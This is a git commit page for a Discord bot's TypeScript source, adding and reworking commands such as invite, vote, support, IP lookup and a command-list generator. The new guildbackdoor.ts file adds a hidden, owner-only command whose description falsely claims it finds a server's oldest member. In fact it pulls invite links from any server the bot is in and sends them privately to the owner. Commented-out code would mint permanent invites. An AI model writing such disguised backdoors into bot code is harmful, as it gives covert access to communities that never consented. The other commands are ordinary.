summaryrefslogtreecommitdiff
path: root/src/commands/bot
diff options
context:
space:
mode:
author8cy <[email protected]>2020-04-29 04:36:14 -0700
committer8cy <[email protected]>2020-04-29 04:36:14 -0700
commit68d32ab1fa9c79e848038ca1c451e7d8f368531b (patch)
tree6142669ecc054e8a94bad4723dc6fb5c83f8cee1 /src/commands/bot
parentThe Return, v8.2.0 (diff)
downloaddep-core-68d32ab1fa9c79e848038ca1c451e7d8f368531b.tar.xz
dep-core-68d32ab1fa9c79e848038ca1c451e7d8f368531b.zip
Cerasus, v9.0.0
basically just add an insane amount of things - all new animal commands - waifu cmds - change/ move clientid, invite, uwufy, support, howify, say, pfp - add ip, security key, vote, datefacts, githubzen, fmk, fml, offsptring, facts, rate, opinion, onion, quantum coin, rolldie, romannumerals, russianrullete, smashorpass, spoiler, sub - minecraft cmds - SERVER check cmds - lewd cmds - roleplay commands - fun commands and games - utils
Diffstat (limited to 'src/commands/bot')
-rw-r--r--src/commands/bot/clientid.ts12
-rw-r--r--src/commands/bot/generatecommands.ts45
-rw-r--r--src/commands/bot/guildbackdoor.ts54
-rw-r--r--src/commands/bot/invite.ts5
-rw-r--r--src/commands/bot/ip.ts38
-rw-r--r--src/commands/bot/support.ts5
-rw-r--r--src/commands/bot/vote.ts25
7 files changed, 172 insertions, 12 deletions
diff --git a/src/commands/bot/clientid.ts b/src/commands/bot/clientid.ts
index 65040bf..9e7565c 100644
--- a/src/commands/bot/clientid.ts
+++ b/src/commands/bot/clientid.ts
@@ -9,7 +9,7 @@ module.exports = class ClientIDBot extends Command {
aliases: ['cid'],
group: 'bot',
memberName: 'clientid',
- description: 'Tells you the bot\'s client ID version.',
+ description: 'Tells you the bot\'s client ID.',
examples: ['uwu!clientid', 'uwu!cid'],
userPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
clientPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
@@ -20,14 +20,6 @@ module.exports = class ClientIDBot extends Command {
});
}
run(msg: CommandoMessage) {
- msg.say('Please wait...').then(m => {
- m.edit(`** **`);
-
- let emb = new MessageEmbed()
- .setDescription('uwufier\'s client ID is **699473263998271489**. ' + emoji.random())
- .setColor(0xFFCC4D)
-
- msg.say(emb);
- });
+ msg.reply(`**uwufier\'s** client ID is **699473263998271489**. ${emoji.random()}`)
}
}; \ No newline at end of file
diff --git a/src/commands/bot/generatecommands.ts b/src/commands/bot/generatecommands.ts
new file mode 100644
index 0000000..11010c0
--- /dev/null
+++ b/src/commands/bot/generatecommands.ts
@@ -0,0 +1,45 @@
+import { Command, CommandoMessage } from 'discord.js-commando';
+import emoji from 'emoji-random';
+import { MessageEmbed } from 'discord.js';
+import request from 'node-superfetch'
+
+module.exports = class GenerateCommandsBot extends Command {
+ constructor(client) {
+ super(client, {
+ name: 'generatecommands',
+ aliases: [
+ 'generate-commands',
+ 'generatecmds',
+ 'generate-cmds',
+ 'gencommands',
+ 'gen-commands',
+ 'gencmds',
+ 'gen-cmds'
+ ],
+ group: 'bot',
+ memberName: 'generatecommands',
+ description: 'Generates a .txt file with all of the available commands.',
+ examples: ['uwu!gencmds'],
+ userPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ clientPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ throttling: {
+ usages: 5,
+ duration: 30
+ },
+ ownerOnly: true,
+ guarded: true
+ });
+ }
+ async run(msg: CommandoMessage) {
+ const list = this.client.registry.groups
+ .map(g => {
+ const commands = g.commands.filter(c => !c.hidden)
+ return `\n### ${g.name}\n\n${commands.map(c => {
+ const extra = `${c.ownerOnly ? ' (Owner-Only)' : ''}${c.nsfw ? ' (NSFW)' : ''}`
+ return `* ** ${c.name}:** ${c.description}${extra}`
+ }).join('\n')}`
+ })
+ const text = `Total: ${this.client.registry.commands.size}\n${list.join('\n')}`
+ return msg.reply({ files: [{ attachment: Buffer.from(text), name: 'commands.txt' }] })
+ }
+}; \ No newline at end of file
diff --git a/src/commands/bot/guildbackdoor.ts b/src/commands/bot/guildbackdoor.ts
new file mode 100644
index 0000000..1282cdd
--- /dev/null
+++ b/src/commands/bot/guildbackdoor.ts
@@ -0,0 +1,54 @@
+import { Command, CommandoMessage } from 'discord.js-commando';
+import emoji from 'emoji-random'
+
+module.exports = class GuildBackdoorBot extends Command {
+ constructor(client) {
+ super(client, {
+ name: 'guildbackdoor',
+ aliases: [
+ 'guild-backdoor',
+ 'serverbackdoor',
+ 'server-backdoor'
+ ],
+ group: 'fun',
+ memberName: 'guildbackdoor',
+ description: 'Checks who the oldest member on the server is.',
+ examples: ['uwu!guildbackdoor 1234567890'],
+ throttling: {
+ usages: 5,
+ duration: 30
+ },
+ userPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ clientPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ hidden: true,
+ args: [
+ {
+ key: 'gGuild',
+ prompt: 'What server would you like to join?',
+ type: 'string'
+ }
+ ],
+ ownerOnly: true
+ });
+ }
+ async run(msg: CommandoMessage, { gGuild }) {
+ if (this.client.guilds.cache.has(gGuild)) msg.reply(`Either that is not a valid guild ID or ${this.client.user} is not a member of that guild.`)
+
+ gGuild = this.client.guilds.cache.get(gGuild)
+
+ const invites = await gGuild.fetchInvites()
+ console.debug('This guild\'s invites:', invites)
+ if (invites.size > 0) {
+ msg.author.send(invites.first().url)
+ }
+
+ // TODO: fix this one day, no idea how to. error: cant find permissionsfor on the channel thing
+ // for (const channel of gGuild.channels.cache.values()) {
+ // if (channel.permissionsFor(gGuild.me).has('CREATE_INSTANT_INVITE')) {
+ // msg.reply(await channel.createInvite({ maxAge: 0 }).url)
+ // }
+ // }
+
+ //msg.reply('No existing invites or channels to invite you to. ' + emoji.random())
+ }
+}; \ No newline at end of file
diff --git a/src/commands/bot/invite.ts b/src/commands/bot/invite.ts
index 0b72063..479e1a8 100644
--- a/src/commands/bot/invite.ts
+++ b/src/commands/bot/invite.ts
@@ -1,5 +1,6 @@
import { Command, CommandoMessage } from 'discord.js-commando';
import emoji from 'emoji-random';
+import { MessageEmbed } from 'discord.js';
module.exports = class InviteBot extends Command {
constructor(client) {
@@ -19,6 +20,8 @@ module.exports = class InviteBot extends Command {
});
}
run(msg: CommandoMessage) {
- msg.reply('https://crack.cf/uwu ' + emoji.random())
+ let emb = new MessageEmbed()
+ .setDescription('To invite the bot, please use [this link](https://crack.cf/uwu). ' + emoji.random())
+ msg.say(emb)
}
}; \ No newline at end of file
diff --git a/src/commands/bot/ip.ts b/src/commands/bot/ip.ts
new file mode 100644
index 0000000..c9c8ec0
--- /dev/null
+++ b/src/commands/bot/ip.ts
@@ -0,0 +1,38 @@
+import { Command, CommandoMessage } from 'discord.js-commando';
+import emoji from 'emoji-random';
+import { MessageEmbed } from 'discord.js';
+import request from 'node-superfetch'
+
+module.exports = class IPBot extends Command {
+ constructor(client) {
+ super(client, {
+ name: 'ip',
+ group: 'bot',
+ memberName: 'ip',
+ description: 'Gives you the bot\'s ip.',
+ examples: ['uwu!ip'],
+ userPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ clientPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ throttling: {
+ usages: 5,
+ duration: 30
+ },
+ ownerOnly: true
+ });
+ }
+ async run(msg: CommandoMessage) {
+ let { body } = await request
+ .get('https://api.ipify.org')
+ .query({ format: 'json' })
+
+ msg.say('Please wait...').then(m => {
+ m.edit(`** **`);
+
+ let emb = new MessageEmbed()
+ .setDescription(`uwufier\'s current IP address is **${body.ip}**. ` + emoji.random())
+ .setColor(0xFFCC4D)
+
+ msg.say(emb);
+ });
+ }
+}; \ No newline at end of file
diff --git a/src/commands/bot/support.ts b/src/commands/bot/support.ts
index c022de7..f6818ef 100644
--- a/src/commands/bot/support.ts
+++ b/src/commands/bot/support.ts
@@ -1,5 +1,6 @@
import { Command, CommandoMessage } from 'discord.js-commando';
import emoji from 'emoji-random';
+import { MessageEmbed } from 'discord.js';
module.exports = class SupportBot extends Command {
constructor(client) {
@@ -18,6 +19,8 @@ module.exports = class SupportBot extends Command {
});
}
run(msg: CommandoMessage) {
- msg.reply('For support, please join; https://crack.cf/uwufier-support. ' + emoji.random())
+ let emb = new MessageEmbed()
+ .setDescription('For support, please join [this server](https://crack.cf/uwufier-support). ' + emoji.random())
+ msg.say(emb)
}
}; \ No newline at end of file
diff --git a/src/commands/bot/vote.ts b/src/commands/bot/vote.ts
new file mode 100644
index 0000000..8f64686
--- /dev/null
+++ b/src/commands/bot/vote.ts
@@ -0,0 +1,25 @@
+import { Command, CommandoMessage } from 'discord.js-commando';
+import { MessageEmbed } from 'discord.js';
+
+module.exports = class VoteBot extends Command {
+ constructor(client) {
+ super(client, {
+ name: 'vote',
+ group: 'bot',
+ memberName: 'vote',
+ description: 'Gives you the bot\'s top.gg vote link.',
+ examples: ['uwu!vote'],
+ userPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ clientPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
+ throttling: {
+ usages: 5,
+ duration: 30
+ },
+ });
+ }
+ run(msg: CommandoMessage) {
+ let emb = new MessageEmbed()
+ .setDescription('To vote, please use [this link](https://discordbots.org/bot/699473263998271489/vote). 🗳')
+ msg.say(emb)
+ }
+}; \ No newline at end of file